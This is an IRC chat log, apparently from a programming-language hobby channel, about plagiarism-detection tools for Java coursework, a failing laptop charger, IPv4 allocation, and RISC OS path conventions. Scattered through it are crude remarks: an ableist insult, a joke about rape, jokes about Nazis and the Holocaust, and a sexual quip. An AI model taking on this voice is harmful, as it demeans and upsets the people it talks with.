09:48:24 <lambdabot> Prelude all :: (a -> Bool) -> [a] -> Bool
10:22:15 -!- sebbu has joined.
10:22:15 -!- sebbu has quit (Changing host).
10:22:16 -!- sebbu has joined.
10:25:34 -!- sebbu2 has quit (Ping timeout: 272 seconds).
10:37:24 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
10:41:16 -!- ais523 has joined.
10:44:50 -!- TLUL has joined.
10:50:20 -!- ais523 has quit (Read error: Connection reset by peer).
10:51:36 -!- ais523 has joined.
11:10:31 -!- oerjan has quit (Quit: leaving).
11:25:00 -!- pikhq has joined.
11:25:56 -!- pikhq_ has quit (Ping timeout: 276 seconds).
11:46:08 -!- BeholdMyGlory has joined.
12:17:58 <ais523> does anyone here have ideas about how to automatically check a moderately large number (between 100 and 200) of Java code submissions for plagiarism?
12:18:23 <ais523> we've got a pretty good idea that it's happening, but not who's copying off who, or in what way
12:18:51 <ais523> and the code's been changed enough that simply comparing executables doesn't work, nor does comparing source even with comments and variable name variation removed
12:19:02 <ais523> so I'm wondering if there's something more insane I can try
12:19:25 -!- cheater- has quit (Ping timeout: 240 seconds).
12:20:32 -!- cheater- has joined.
12:30:06 <fizzie> ais523: I have the same problem (well, except N=~50 instead of 100-200), but no real solutions.
12:30:16 <fizzie> I did see a 2008 paper about the topic, though.
12:30:18 <Deewiant> http://www.cs.hut.fi/Software/Plaggie/ ?
12:30:56 <ais523> the script I'm running decomposes programs into a sequence of characters, one per line, with identifiers that aren't keywords replaced with underscores (it needs a better approach for keywords, really)
12:31:06 <ais523> and then pairwise diffs the resulting files, and counts the number of lines in the diff
12:31:19 <fizzie> Deewiant: http://www.computer.org/portal/web/csdl/doi/10.1109/ICCIT.2008.267 is the one I remember seeing.
12:31:22 <ais523> (that's not a context diff, just an old-fashioned format-nobody-uses-any-more diff)
12:31:33 <fizzie> Deewiant: I wonder why no-one advertised Plaggie to me when I was asking about this stuff.
12:32:06 <fizzie> (The proceedings link on that page doesn't seem to want to work.)
12:32:11 <ais523> that download counting form is bizarre
12:32:21 <ais523> why don't they, you know, just actually count downloads?
12:32:23 <Deewiant> I don't know if that's the one but I think the basic programming courses use something that was made here
12:32:42 <Deewiant> Anyway, http://portal.acm.org/citation.cfm?id=1315831 is the two-page paper which lacks any interesting info
12:32:58 <ais523> the actual download page is http://www.cs.hut.fi/Software/Plaggie/download.html
12:33:01 <ais523> (found via view source)
12:33:49 <fizzie> I guess it reads Java sources?
12:34:13 <Deewiant> I guess you can decompile if you only have the bytecode
12:34:20 <ais523> I have source
12:34:35 <fizzie> Oh, I do have sources too; but the one I remember reading about was a bytecode similarity tool.
12:34:42 <Deewiant> That one uses sources
12:34:54 <ais523> it's not obvious which is better to use when checking for plagiarism
12:34:59 <Deewiant> "The basic algorithm used for comparing two source code files is tokenization followed by greedy string tiling."
12:35:02 <ais523> article or source, that is
12:35:23 <ais523> hmm, I wonder if azip would be good at this?
12:35:32 <fizzie> Some people from Austin, TX, seem to have patented "An analysis tool extracts class data from Java objects within a potential plagiarizing Java program and the original Java program, and then compares classes common to the potential plagiarizing program and the original across various performance metrics."
12:36:35 <fizzie> And there's a reference to an earlier patent for "A technique for detecting similarities in large sets of binary code files, e.g., bytecode files, without requiring access or knowledge of the actual source code itself."
12:43:01 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
13:02:34 -!- Mathnerd314 has quit (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.2.13/20101203075014]).
13:04:03 -!- Sgeo has quit (Ping timeout: 240 seconds).
13:20:55 -!- ais523_ has joined.
13:39:32 -!- augur has quit (Remote host closed the connection).
13:59:36 -!- elliott has joined.
14:00:29 <elliott> 20:25:26 <oklopol> argh, now i'll never know if pizearke2 just meant passing a function along
14:00:29 <elliott> 20:25:32 <oklopol> why didn't you ask
14:00:32 <elliott> he'll be back
14:00:46 <elliott> 20:48:17 <Sgeo> I appear to be accidentally creeping out Other KT-AT
14:00:47 <elliott> 20:48:42 <Sgeo> She seems to be unaware that my other number is me, despite me telling her several times
14:00:52 <elliott> wow she is the most retarded person i have ever heard of
14:00:56 <elliott> apart from your father
14:01:14 <elliott> 20:59:01 <Sgeo> Besides, you think I tell you _everything_?
14:01:14 <elliott> 20:59:04 <Sgeo> About anything?
14:01:15 <elliott> yes
14:01:36 <elliott> `addquote <oklopol> okay see in my head it went, you send from your other number smth like "i'd certainly like to see you in those pink panties again" and she's like "WHAT?!? Sgeo took a pic?!?!?! that FUCKING PIG"
14:02:09 <elliott> 22:22:18 <pikhq> It's kinda got an uncanny valley effect going on to me.
14:02:09 <elliott> 22:22:36 <zzo38> pikhq: What is an uncanny valley effect?
14:02:12 <elliott> pikhq: i've figured it out
14:02:19 <elliott> pikhq: he lined up "uncanny valley effect" with yours
14:02:25 <elliott> that's the entire goal of his speech
14:02:30 <elliott> to be nicely-formatted in monospaced
14:02:46 <HackEgo> No output.
14:03:24 <elliott> :|
14:03:27 <elliott> `addquote <oklopol> okay see in my head it went, you send from your other number smth like "i'd certainly like to see you in those pink panties again" and she's like "WHAT?!? Sgeo took a pic?!?!?! that FUCKING PIG"
14:03:29 <HackEgo> 327) <oklopol> okay see in my head it went, you send from your other number smth like "i'd certainly like to see you in those pink panties again" and she's like "WHAT?!? Sgeo took a pic?!?!?! that FUCKING PIG"
14:04:00 <elliott> 23:40:09 <pikhq_> Oh holy crapcrap.
14:04:01 <elliott> 23:40:14 <pikhq_> The BBC has aired David Firth cartoons.
14:04:01 <elliott> 23:40:19 <pikhq_> This frightens me.
14:04:01 <elliott> 23:40:29 <pikhq_> And impresses me.
14:04:01 <elliott> we're just that awesome
14:04:35 <elliott> 01:15:47 <fizzie> They are, in fact, my arrows; but they are the correct way around for me; I think Gregor must've broken them when changing the sign of the scores. (My version had "42" for that result, i.e. score for left player.)
14:04:35 <elliott> 01:16:14 <fizzie> I told him to just print -score in main, but I think he instead flipped all the places where the actual interpreter updates the score, for some reason.
14:04:36 <elliott> 01:16:34 <fizzie> (Of course I told him that only afterwards, but that's no excuse.)
14:04:54 <elliott> I have to say, lance isn't nearly as entertaining as this
14:09:36 -!- hiato has joined.
14:10:14 -!- hiato has changed nick to I_WIN.
14:10:47 -!- I_WIN has quit (Client Quit).
14:11:10 -!- augur has joined.
14:19:46 <elliott> oh Thielemann
14:29:35 <elliott> > let ι = id in ι 3
14:29:36 <lambdabot> 3
14:32:28 <oklopol> "<quintopia> menger's thm is not hard to prove iirc" <<< it's kinda obvious how to do the induction, yes, but there's a few cases you need to consider, so it takes a while to get the details right
14:32:43 <oklopol> "<quintopia> also the fan thing has some interesting things you can prove" ?
14:34:35 -!- asiekierka has joined.
14:34:39 <oklopol> "<ais523> does anyone here have ideas about how to automatically check a moderately large number (between 100 and 200) of Java code submissions for plagiarism?" <<< flunk the whole class and see which ones get beaten up
14:36:16 <elliott> oklopol: :D
14:37:57 <elliott> fun :: ((Sem -> Sem) -> Sem) -> Sem
14:37:57 <elliott> fun f = Fun $ \(Sem g) -> f g
14:38:02 <elliott> sem sem fun sem sem fun fun fun fun sem fun sem fun
14:39:18 <asiekierka> hi
14:46:41 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
14:52:32 -!- Wamanuz3 has quit (Ping timeout: 276 seconds).
14:54:01 -!- Wamanuz has joined.
14:55:35 -!- MigoMipo has joined.
14:56:20 <Ilari> APNIC down N/A: IPv4: 256k+128k to China, 32k to South Korea, 8M(!!!) to Japan, 8k+512 to Indonesia, 256 to Malaysia. IPv6: /32 to Indonesia, /32 to Thailand, /32 to Hong Kong.
14:56:40 <elliott> 8M blocks? I HOPE SO
14:58:56 <Ilari> I think it will be down either 0.52 (to 2.92 + ERX blocks) or 0.53 (to 2.91 + ERX blocks).
15:00:08 <elliott> Wait, 8M /IPv4/?
15:00:10 <elliott> lolwat
15:00:12 <Ilari> Yeah.
15:00:25 <elliott> Should that really have been granted...
15:00:34 <elliott> It's not the allocation of a nation working hard on IPv6 migration :P
15:01:42 <Ilari> Allegedly Japan IPv6 is so bad that it is best to blacklist the entiere country from AAAA records (with some exceptions).
15:02:09 <elliott> Ilari: Huh ... that's quite surprising considering how good Japan are with technology adoption.
15:02:18 <elliott> And the speeds of their interweb connections...
15:04:17 <Ilari> NTT (Semi-monopolistic there) allegedly gives customers IPv6 addresses... That don't route to/from the Internet. It is fairly easy to see what problem that causes.
15:05:05 <Ilari> That's about the worst way one can do to break IPv6.
15:05:52 <elliott> Ilari: That's awesome X-D
15:06:05 <elliott> IPv6 enabled! Note: IPv6 not actually enabled.
15:11:27 <Ilari> Well, That is going to be royal fun when Google enables quad-As globally on world IPv6 day... :-)
15:12:14 <Ilari> Oh, and Facebook too. And few other MAJOR sites.
15:13:30 -!- copumpkin has joined.
15:15:50 <Ilari> elliott: http://mailman.nanog.org/pipermail/nanog/2011-February/033695.html
15:16:38 <elliott> "Own the government"? That's a bit of a strong statement :P
15:18:26 <Ilari> Well, large corporations do own the goverment.
15:19:22 <elliott> Mm. But I don't think a single telco has that much power (well, depends how monopolistic its monopoly is).
15:19:49 <elliott> At least, some monopolies make sense -- for instance you don't want laying electrical cables to be a free-for-all because it'll turn into a clusterfuck...
15:26:34 -!- augur_ has joined.
15:27:20 -!- augur has quit (Ping timeout: 264 seconds).
15:27:45 -!- augur_ has quit (Read error: Connection reset by peer).
15:28:09 -!- alp_y has quit.
15:28:11 <elliott> Ha, there is an even more insane way than Vorpal's to do returns in bash.
15:28:19 -!- augur has joined.
15:29:20 <oklopol> what's wrong with a little clusterfuck
15:30:49 <Ilari> Well, little clusterfuck no... But clusterfucks have tendency to turn into major clusterfucks.
15:31:35 <elliott> INFINITE CLUSTERFUCKERY
15:31:53 <oklopol> i see
15:38:33 <elliott> What, zsh is actually maintained for Windows.
15:41:10 -!- augur has quit (Ping timeout: 240 seconds).
15:44:18 -!- pikhq has quit (Ping timeout: 250 seconds).
15:44:28 -!- pikhq has joined.
15:44:45 -!- Phantom_Hoover has joined.
15:45:31 -!- ominovorol has joined.
15:46:15 <elliott> ominovorol: hi not oklopol
15:46:29 <Ilari> Ah, APNIC down 0.55.
15:47:38 -!- oklopol has quit (Ping timeout: 240 seconds).
15:48:59 <ominovorol> hi not alise
15:49:44 <Ilari> Final for February: 22 323 200 IPv4s (1.330 blocks).
15:49:56 <elliott> Ilari: Less than two blocks?
15:50:01 <elliott> That's, um, that's quite... quite fast.
15:51:09 <Ilari> Remaining until phase 3: 1.89 blocks + ERX space.
15:51:23 <Ilari> That ERX is about 1.5-1.6 blocks.
15:51:44 <Ilari> But fairly fragmented.
15:52:27 <Ilari> So about 3.4-3.5 blocks total.
15:53:42 <Ilari> 4 653 074 IPv6 /48s.
15:55:02 -!- pikhq_ has joined.
15:55:25 -!- pikhq has quit (Ping timeout: 276 seconds).
15:58:02 -!- elliott_ has joined.
15:58:09 <elliott_> FFFFFFFFFFFFUUUUUUUUUUUUUUUUUU
15:58:13 -!- elliott has quit (Read error: Connection reset by peer).
15:58:19 <elliott_> What does it mean if my laptop doesn't recognise it's being charged when I plug it in, and the little light on the charger doesn't light up :P
15:58:32 <elliott_> (And the battery's still drains)
15:58:38 <elliott_> (And the charger is getting power)
15:59:39 -!- MigoMipo has quit (Read error: Connection reset by peer).
16:00:12 <elliott_> This is worrying.
16:04:13 <ais523_> elliott_: most likely an open circuit on the charger input
16:04:22 <ais523_> is it making beeping noises and catching fire?
16:04:26 <elliott_> ais523_: no, no it isn't
16:04:31 <ais523_> good
16:04:33 <ais523_> mine was
16:04:40 <Phantom_Hoover> XD
16:04:45 <elliott_> :D
16:04:52 <elliott_> i suppose it's conceivable that the power light being on on the socket multiplier extension thing doesn't actually mean it's supplying power to the charger.
16:05:08 <elliott_> but i've kicked it *several* times and it still isn't working.
16:05:18 <ais523_> (I had to get it replaced, and managed to convince the person at the other end of the phone it was broken and how by explaining all the issues; they finally admitted the problem was likely in the charger not the laptop when I explained that it happened even when the charger wasn't connected to the laptop)
16:05:24 <Phantom_Hoover> ais523_, do you often give advice to people who fail to mention that their hardware is on fire?
16:05:53 <ais523_> no; it's just that I've set things on fire more than once, being an electronic engineer (as my first degre) and all
16:06:06 <ais523_> you don't really get to become a Master of (Electronic) Engineering without blowing up a few diodes by mistake
16:06:32 <elliott_> I like to think that electrical engineering is primarily about blowing things up.
16:06:51 <elliott_> Actually doing things is sort of a side effect.
16:07:16 <ais523_> getting them to not blow up can be harder
16:07:19 <Phantom_Hoover> ais523_, I assume you also burnt yourself a fair number of times.
16:07:23 <ais523_> and thus more intellectually interesting
16:07:27 <ais523_> Phantom_Hoover: actually, only twice, IIRC
16:07:31 <ais523_> both times with a soldering iron
16:07:32 <elliott_> ONLY TWICE!
16:07:35 <elliott_> And they were only fourth-degree.
16:07:46 <ais523_> solder iron burns are really minor compared to most other sorts
16:07:57 <elliott_> "Extends through skin, subcutaneous tissue and into underlying muscle and bone"
16:07:59 <elliott_> That's a nice degree.
16:08:15 <ais523_> when you just explode circuits, you're generally at a safe distance
16:08:25 <elliott_> But hey, it's apparently "Painless".
16:08:41 <elliott_> It has no example picture :P
16:08:46 <ais523_> and the emergency power shutoff is generally sufficiently far away that you can hit it without being at risk to the fire
16:09:04 <ais523_> in fact, you can generally hit the good old-fashioned off switch without needing the emergency shutoff
16:09:12 <ais523_> and it works just as well
16:09:21 <ais523_> the emergency shutoffs mostly exist to get bumped into by mistake
16:09:31 <ais523_> and, umm, regulations of some sort
16:09:33 <elliott_> You keep talking ais523_, but all I hear is "we've made it really convenient to blow shit up".
16:09:41 <elliott_> "And safe, too."
16:10:06 <ais523_> well, in a student EE lab, you expect the occasional explosion, so you try to reduce the ramifications
16:10:12 <elliott_> wow, the Firefox 4 beta's feedback choices are a bit awkward
16:10:16 <elliott_> "Firefox Made Me Happy Because..."
16:10:18 <elliott_> "Firefox Made Me Sad Because..."
16:10:37 <elliott_> you can ask for your users' feelings without being all preschool about it, Mozilla
16:10:40 <Gregor> Firefox Made Me Sad Because it stole forty cakes.
16:10:43 <ais523_> ...because it makes me sad and I don't know why
16:10:50 <elliott_> Gregor: And that's terrible etc.
16:10:54 <Gregor> :P
16:11:18 <elliott_> Firefox made me sad because I don't know whether I was happy or sad so this menu upset me but now I am only sad and not either sad or happy so I guess the problem is resolved
16:11:44 <Gregor> Firefox made me sad because it murdered my family and raped my dog.
16:11:58 <elliott_> Gregor, always the classiest of #esotericers.
16:12:13 <elliott_> "Show me on the doll where Firefox touched you."
16:12:27 <elliott_> "Extraction failed because download is corrupted"
16:12:33 <elliott_> IE: Can't even download Firefox correctly!
16:20:36 -!- augur has joined.
16:21:54 -!- zzo38 has joined.
16:22:20 -!- elliott_ has quit (Ping timeout: 240 seconds).
16:26:28 -!- elliott has joined.
16:27:57 -!- ais523_ has quit (Quit: Page closed).
16:30:42 <elliott> hi ais523
16:30:49 <elliott> <elliott_> "Extraction failed because download is corrupted"
16:30:50 <elliott> <elliott_> IE: Can't even download Firefox correctly!
16:30:50 <elliott> <elliott_> What kind of crack-addled monkey designed Firefox 4?
16:30:53 <ais523> hi
16:31:00 <elliott> ais523: it seems that the power supply issue is actually my extension being messed up
16:31:02 <ais523> how did you guess I was back on ais523? timing?
16:31:05 <elliott> the router lost power, I think
16:31:07 <elliott> also, tab-complete
16:31:15 <ais523> (after ais523_ leaving)
16:31:17 <elliott> if it hadn't completed, I wouldn't have said hi
16:31:20 <ais523> ah
16:31:21 <elliott> because I'd assume you'd have left
16:31:36 <ais523> ais523_ is me on the teaching computers downstairs
16:31:41 <ais523> I was there marking students, but that's finished now
16:31:45 <ais523> whereas ais523 is my netbook
16:32:13 <ais523> it's why ais523_ tends to be relatively uncommunicative while online, and ais523 completely silent while ais523_ is present
16:33:25 <ais523> also, a bunch of students seem to be cheating this week
16:33:48 <elliott> nice
16:34:00 <elliott> are they really masters students...?
16:34:11 <elliott> they sound like 14-year-olds
16:34:47 <ais523> oh, those are first-years
16:34:51 <ais523> and it isn't most of them, just a subset
16:34:59 <ais523> the issue is determining just how large the subset is
16:35:11 <ais523> as the exercise was one where there were a few standard ways to solve it
16:35:32 <ais523> and so you got things looking the same by chance as well as by maliciousness
16:39:08 <elliott> ais523: hmm
16:39:14 <elliott> fiddling with the socket made the charger go on
16:39:18 <elliott> but only momentarily
16:39:22 <elliott> now fiddling with the wire has made it go on
16:39:23 <ais523> loose connection
16:39:27 <elliott> this is not reassuring...
16:39:41 <ais523> indeed, connections repeatedly going on and off can break things, or at least confuse them
16:39:46 <elliott> i'm just keeping the laptop in a very specific position for now until it gets its battery back
16:39:53 <ais523> on my laptop, it only confused the battery-is-charging meter
16:39:59 <Phantom_Hoover> elliott, that's what happened in my MagSafe tragedy.
16:40:00 <ais523> have you tried plugging the charger in elsewhere?
16:40:06 <elliott> Phantom_Hoover: this is magsafe too :)
16:40:07 <Phantom_Hoover> It melted a few days later.
16:40:17 <ais523> what's a magsafe?
16:40:19 <elliott> ais523: in another, good extension; it did nothing special
16:40:24 <elliott> ais523: magsafe = apple power connector
16:40:25 <ais523> did it work?
16:40:27 <elliott> the old ones had a tendency to melt
16:40:30 <ais523> ah
16:40:30 <elliott> ais523: no, it didn't
16:40:35 <ais523> ugh
16:40:46 <ais523> perhaps the issue's with the plug, or the wires near it
16:41:19 <elliott> ais523: nope, i swapped the plug for another one (they have pluggable plugs)
16:41:46 <ais523> OK, then I'll use the typical EE copout and say it's a lose connection somewhere but I don't know where
16:42:01 <ais523> you could always take it to Apple to get it serviced, they'll probably just replace it because they can't figure it out either
16:42:04 <ais523> also, *loose connection
16:42:07 <ais523> although I like the typo
16:42:11 <elliott> ais523: I will if it melts
16:42:23 <ais523> not before?
16:42:28 <elliott> rule 1: if it's solid, don't fix it
16:42:33 <elliott> ais523: I think Apple charge you for replacements
16:42:42 <elliott> like £60 for a magsafe because they're scumbags
16:42:49 <ais523> even during warranty?
16:42:49 <elliott> ok not £60.
16:42:59 <elliott> ais523: hmm, I wonder if installing another operating system voided my warranty :)
16:43:09 <elliott> I didn't go for AppleCare, so god knows how long this warranty is
16:43:12 <ais523> it's about £80 to get the generic power supply on this Toshiba replaced, but it failed within warranty, luckily
16:43:16 <ais523> and typically it's one year
16:43:26 <elliott> ais523: I think 1 year is one of the AppleCare lengths
16:43:37 <ais523> AppleCare is likely more comprehensive than a warranty
16:43:42 <elliott> true
16:44:16 <elliott> (Apple business model item 1: Sell mostly-excellent-quality hardware at reasonable prices for that hardware to give the fanboys a way to defend your prices. Item 2: Sell all the other shit at exorbitant prices with impunity.)
16:46:21 <ais523> most computer companies have found an even better version of that
16:46:26 <ais523> which is the same system minus step one
16:46:44 <elliott> ais523: they have a different step one
16:46:46 <elliott> *item
16:47:04 <ais523> ah
16:47:08 <elliott> Item 1: Sell shitty hardware at exorbitant-for-shit prices that nonetheless end up lower than Apple's because shit is only so expensive.
16:47:35 <ais523> you also have to bear in mind computer salesman
16:47:44 <elliott> *men, presumably
16:47:52 <elliott> also, do I _have_ to?
16:47:54 <ais523> to whom Macs are inferior because they don't come with a free copy of Windows, Office, and Cute Kittens Editing App 2004 (30 days free trial)
16:48:10 <elliott> I want that app
16:48:23 <elliott> wait, 2004? man, i want 21st century kittens!!
16:48:41 <elliott> ais523: also, s/free/hidden-cost/
16:48:49 <ais523> elliott: indeed
16:49:12 <ais523> actually, nowadays it's become habit to install free trial versions of Office 2009 on new systems
16:49:30 <ais523> so people use them to edit files, and then a month later find they have to pay £200 to be able to open them again
16:50:44 <elliott> blehh, why has computing become so terrible?
16:51:56 <elliott> i mean, honestly.
16:52:08 <Phantom_Hoover> elliott, because the masses started getting into it?
16:52:25 <elliott> that's irrelevant, they didn't _run_ it
16:52:28 <Phantom_Hoover> There's more money in fooling fools.
16:53:21 <ais523> elliott: perhaps it always was terrible, just people didn't complain as much because they were too inexperienced with it to know better
16:53:27 <elliott> yes, but are the kind of people who pioneered personal computing the kind of people who would want to make a living off fooling people?
16:53:47 <Phantom_Hoover> elliott, no, but again, they didn't make as much money out of it.
16:54:02 <elliott> ais523: I'm not so sure about that -- who ever complained about pre-installed crapware on an Amiga?
16:54:03 <ais523> well, IBM invented the PC
16:54:08 <ais523> although not personal computing in general
16:54:13 <elliott> I think I blame Windows
16:54:24 <elliott> Windows killed off non-IBM-PC machines
16:54:35 <ais523> actually, peripherals did
16:54:40 <elliott> RISC OS, Amiga, etc. all died because of Windows
16:54:44 <elliott> ais523: possibly
16:54:47 <ais523> Windows was originally meant to be cross-platform
16:54:53 <elliott> ais523: but Windows was what people used to communicate with the peripherals
16:55:01 <ais523> but the IBM PC had basically won by that point so Microsoft decided to just support that
16:55:17 <elliott> true
16:55:19 <ais523> it's around the days of early MS-DOS when there was still serious hardware architecture competition, Windows came much later
16:55:21 <elliott> OK, I blame IBM then
16:55:27 <ais523> and it was almost unusable and considered a joke before version 3
16:55:37 <elliott> stupid holocaustin' PCin' jerks.
16:55:49 <elliott> ("IBM PC: as bad as the Holocaust?")
16:55:55 <ais523> when Windows finally caught on, it was mostly used to try to kill PC-DOS, which was also an IBM PC-based operating system
16:55:56 <elliott> (Random IRC users disagree.)
16:56:10 <elliott> QDOS!
16:56:19 <elliott> damn you Tim Paterson!
16:56:38 <ais523> wow, you really seem to be getting emotional about this
16:56:49 <elliott> ais523: that was a joke
16:57:04 <elliott> afaict Tim Paterson hates Microsoft :P
16:57:08 <ais523> I think what's happening is that in any mainstream market, 90% or more of people don't have much of a clue of what it's about
16:57:21 <ais523> and so will believe any nonsense the salesmen/media tell them
16:57:40 <elliott> Maybe I'll get an ancient Acorn and refuse to use anything else ever
16:57:44 <ais523> I was at a bank recently, talking to one of the people who banks have to talk to people when it's going to take a long time
16:57:51 <elliott> ais523: does C-INTERCAL run on RISC OS?
16:57:54 <ais523> and questioning everything he said and reading the small print and so on
16:57:59 <elliott> haha
16:58:03 <elliott> that must have been comfortable for him
16:58:04 <ais523> and he said I should become a banker
16:58:07 <Phantom_Hoover> elliott, my neighbour has a functioning Archimedes.
16:58:25 <ais523> also, I doubt it runs straight off unmodified on RISC OS
16:58:28 <elliott> hmm, did the archimedes actually run RISC OS?
16:58:32 <ais523> but I consider that a bug
16:58:37 <elliott> hmm, right, it did
16:58:43 <elliott> I used an Acorn in preschool
16:58:48 <elliott> had no idea how to use it, of course
16:58:54 <ais523> (I have actually used RISC OS, by the way; my primary school had it installed on all the computers that weren't BBC Micros)
16:59:02 <elliott> but i remembered it as "the computer where you click the black circle in the corner to exit the (full-screen) program"
16:59:18 <ais523> it had three mouse buttons, didn't it?
16:59:21 <elliott> I think so
16:59:27 <ais523> and each had a defined system-wide function
16:59:27 <elliott> ais523: why wouldn't it run on straight RISC OS with a C compiler?
16:59:32 <elliott> obviously the build system wouldn't run
16:59:41 <ais523> probably incorrect assumptions
16:59:46 <ais523> likely to do with pathnames
16:59:52 <elliott> I like how RISC OS merged dialogue boxes, menus, and right-click menus
17:00:07 <elliott> right-click menus could include textboxes, sliders etc.
17:00:17 <ais523> e.g. #include "ick.h" is interpreted, on RISC OS, as including :h:ick
17:00:32 <elliott> ais523: didn't the C compilers hack around that?
17:00:32 <ais523> but I don't think fopen() does the same translation
17:00:36 <ais523> elliott: that is the hack around that
17:00:42 <elliott> oh, right
17:00:50 <elliott> what does foo.c mean in RISC OS natively?
17:01:26 <elliott> i.e. is there any reason the C compiler wouldn't accept foo.c rather than :c:foo?
17:01:38 <ais523> ah, more like .c.foo
17:01:42 <ais523> I think . is the directory separator
17:01:45 <ais523> and filename limits
17:01:46 <Phantom_Hoover> Yes, it is.
17:01:57 <ais523> pathname components could only be 6 characters long or something really restrictive like that
17:02:02 <Phantom_Hoover> But RISC OS deals with it by replacing . with / IIRC.
17:02:04 <elliott> <ais523> and filename limits
17:02:05 <elliott> eh?
17:02:16 <ais523> yep, . and / are swapped, normally, to translate pathnames between UNIX and RISC OS
17:02:16 <elliott> <ais523> pathname components could only be 6 characters long or something really restrictive like that ;; I doubt this applied to later versions
17:02:36 <ais523> but you couldn't fit, say, stdlib/h in a filename as it was too long
17:02:42 <ais523> so it had to be .h.stdlib
17:03:19 <zzo38> Does TeX run on that computer?
17:03:27 <ais523> I don't know
17:03:38 <ais523> it's old enough that it may have been ported, but I don't think Acorns were used for typesetting all that much
17:04:05 <ais523> haha, apparently the libc on Acorns is in ROM
17:04:09 <ais523> (that is, the C89-defined stuff)
17:04:27 <ais523> and separate libraries are used for any POSIX compatibility needed that isn't in C*9
17:04:30 <ais523> * C89
17:04:34 <elliott> <ais523> but you couldn't fit, say, stdlib/h in a filename as it was too long
17:04:34 <elliott> <ais523> so it had to be .h.stdlib
17:04:42 <elliott> i'm sure that must be false for later versions
17:04:57 <elliott> i was reading the esoteric list archive and recall some stuff about risc os directory structure
17:05:06 <elliott> (in reply to cpressey inventing orthogonal persistence accidentally)
17:05:11 <elliott> and i swear it had longer filenames
17:05:50 <ais523> haha, Cygwin's been ported to RISC OS
17:05:58 <elliott> wat
17:06:03 <Phantom_Hoover> elliott, incidentally, re that Worst Programmer guy:
17:06:04 <ais523> that was... unexpected
17:06:15 <ais523> ah, as a cross compiler, that's slightly saner
17:06:27 <Phantom_Hoover> From his perspective, he's kind of right, in that code monkeys really shouldn't be making algorithms.
17:07:04 <ais523> as in, their advice is, to install Linux programs on RISC OS, install the modified Cygwin on Windows and use it to translate
17:07:51 <elliott> Phantom_Hoover: ??
17:07:59 <elliott> Phantom_Hoover: that was not what he was saying.
17:08:34 <Phantom_Hoover> elliott, yes, because he's an idiot.
17:09:44 <elliott> http://i.imgur.com/Se0WU.png
17:09:44 <elliott> i
17:09:52 <ais523> elliott: ah, reading the RISC OS wiki, it's not a filename limit but because RISC OS has no concept of extensions, and you often want .c and .h files with the same basename
17:09:55 <elliott> that upload is terrible but
17:09:56 <elliott> i
17:09:58 <elliott> how can that even be
17:10:04 <Phantom_Hoover> 1 giga... what.
17:10:12 <Phantom_Hoover> That's... hmm.
17:10:13 <elliott> GIGABIT INTERNET
17:10:14 <elliott> FFFF
17:10:21 <elliott> That's 128 Mio/s.
17:10:22 <Phantom_Hoover> DISTANCE: < 50 mi
17:10:38 <elliott> Phantom_Hoover: Doesn't really matter, it's not on the same network.
17:10:41 <elliott> ais523: heh
17:11:55 <elliott> "Meanwhile in England... http://www.speedtest.net/result/1177971339.png"
17:11:57 <elliott> *sniff*
17:12:37 <elliott> ais523: ok so you know that charger
17:12:41 <elliott> the end plugged into the computer
17:12:43 <elliott> is piping hot right now
17:12:45 <elliott> it's
17:12:48 <elliott> not normally piping hot
17:12:55 <Phantom_Hoover> elliott, jesus, I have only 0.48 upstream.
17:12:57 <elliott> (admittedly, normally it's not actually doing any charging and it is now)
17:13:16 <ais523> chargers can get hot while doing charging
17:13:24 <Phantom_Hoover> Although 8.03 downstream, which just raises further questions.
17:13:30 <elliott> yes, i realised that was stupid after i said it
17:13:36 <elliott> Phantom_Hoover: ADSL is asynchronous
17:13:50 <Phantom_Hoover> elliott, erm, I don't think I'm on ADSL...
17:13:59 <elliott> Phantom_Hoover: Cable?
17:14:02 <Phantom_Hoover> Yep.
17:14:07 <elliott> Asynchronous, I believe.
17:14:18 <Phantom_Hoover> I DO NOT KNOW WHAT THIS WORD IS
17:14:25 <elliott> YES YOU DO
17:14:29 <elliott> I ACTUALLY MEAN
17:14:33 <elliott> ASYMMETRIC
17:14:36 <elliott> I'M JUST STUPID
17:14:36 <elliott> :D
17:15:57 <ais523> hmm, is it asynchronous as well?
17:16:09 <ais523> I suspect it's clocked just while it's being used, or something like that
17:22:35 <elliott> hmm
17:22:51 <elliott> a^nb^n is easier than x|y where x and y are binary and y=x+1, right?
17:23:06 <elliott> as in, you can parse the former without being able to parse the latter
17:23:13 <elliott> so unary is in a sense "easier" to parse than binary...
17:23:24 <ais523> I can't figure out offhand how a PDA would do the second, but it can do the first
17:23:31 <elliott> yep
17:23:34 <elliott> err
17:23:35 <elliott> and y=x
17:23:36 <elliott> that is
17:23:56 <elliott> a^nb^(n+1) is obviously as easy as a^nb^n
17:24:03 <ais523> yep
17:26:53 -!- zzo38 has quit (Remote host closed the connection).
17:27:05 -!- augur has quit (Ping timeout: 264 seconds).
17:27:48 <elliott> ais523: hmm, x|y where x and reverse(y) are equal binaries is easy
17:28:11 <elliott> X := '0|0' | '1|1' | '0' X '0' | '1' X '1'
17:28:20 <elliott> Y := '0'* X '0'*
17:28:35 <elliott> ais523: x|y where x == reverse(y)+1 or x+1 == reverse(y) sounds a lot harder
17:29:39 -!- ais523 has quit (Ping timeout: 240 seconds).
17:32:52 -!- augur has joined.
17:32:56 <elliott> 12:20:00 <bsmntbombdood> you wrote it in c++?
17:32:56 <elliott> 12:20:08 <GregorR> I'm a C++'er.
17:32:57 <elliott> 12:20:12 <bsmntbombdood> That just ain't right
17:33:00 <elliott> 12:20:31 <bsmntbombdood> NOT COOL DUDE
17:33:03 <elliott> 12:20:37 <oklopol> bsmntbombdood, as wouter said, ppl who don't like c++ don't understand it
17:33:03 <elliott> 12:20:44 <GregorR> bsmntbombdood: People who don't like C++ --- thanks, oklopol 8-D
17:33:04 <elliott> 12:20:51 <oklopol> :)
17:33:12 <elliott> Gregor and oklopol, former Nazis.
17:33:19 <elliott> (Gregor, current Nazi.)
17:33:22 <Gregor> *eh*
17:33:32 <elliott> "I'm a Nazi? Well, *eh*"
17:35:28 -!- augur has quit (Read error: Connection reset by peer).
17:35:55 -!- augur has joined.
17:42:30 <elliott> 13:55:04 <ihope_> People who don't like C++ don't understand it? Lies!
17:42:30 <elliott> 13:55:33 <ihope_> I refuse to use any programming language that I cannot code first-order logic theories into!
17:43:57 <Gregor> Dude, you can code first-order logic theories into C++'s TEMPLATE language.
17:43:59 -!- oerjan has joined.
